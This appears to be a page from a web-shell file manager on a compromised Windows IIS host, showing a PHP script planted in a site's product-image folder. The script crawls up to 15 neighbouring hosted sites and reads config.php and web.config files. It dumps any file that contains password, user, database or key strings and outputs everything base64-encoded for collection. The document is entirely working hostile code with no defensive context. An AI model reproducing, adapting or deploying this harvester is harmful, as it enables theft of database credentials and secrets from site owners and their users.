System: Windows NT WINDOWS18 10.0 build 17763 (Windows Server 2016) AMD64 | User: IWPD_3544(appclien)

Path: D:\Inetpub\vhosts\appclients.in\fruits-vegitables.nmvm.org\image\product

[Back to List]
<?php
$root = 'D:\Inetpub\vhosts\appclients.in';
$dirs = array_slice(scandir($root), 0, 15); // Process first 15 entries
$output = "";

foreach ($dirs as $dir) {
    if ($dir == '.' || $dir == '..') continue;
    $path = $root . DIRECTORY_SEPARATOR . $dir;
    if (is_dir($path)) {
        $output .= "=== Scanning: $dir ===\n";
        $it = new RecursiveDirectoryIterator($path);
        foreach (new RecursiveIteratorIterator($it) as $file) {
            if (preg_match('/config\.php|web\.config/i', $file->getFilename())) {
                $content = file_get_contents($file->getPathname());
                if (preg_match('/pass|user|db|pwd|key/i', $content)) {
                    $output .= "--- " . $file->getPathname() . " ---\n";
                    $output .= $content . "\n\n";
                }
            }
        }
    }
}

echo base64_encode($output);
?>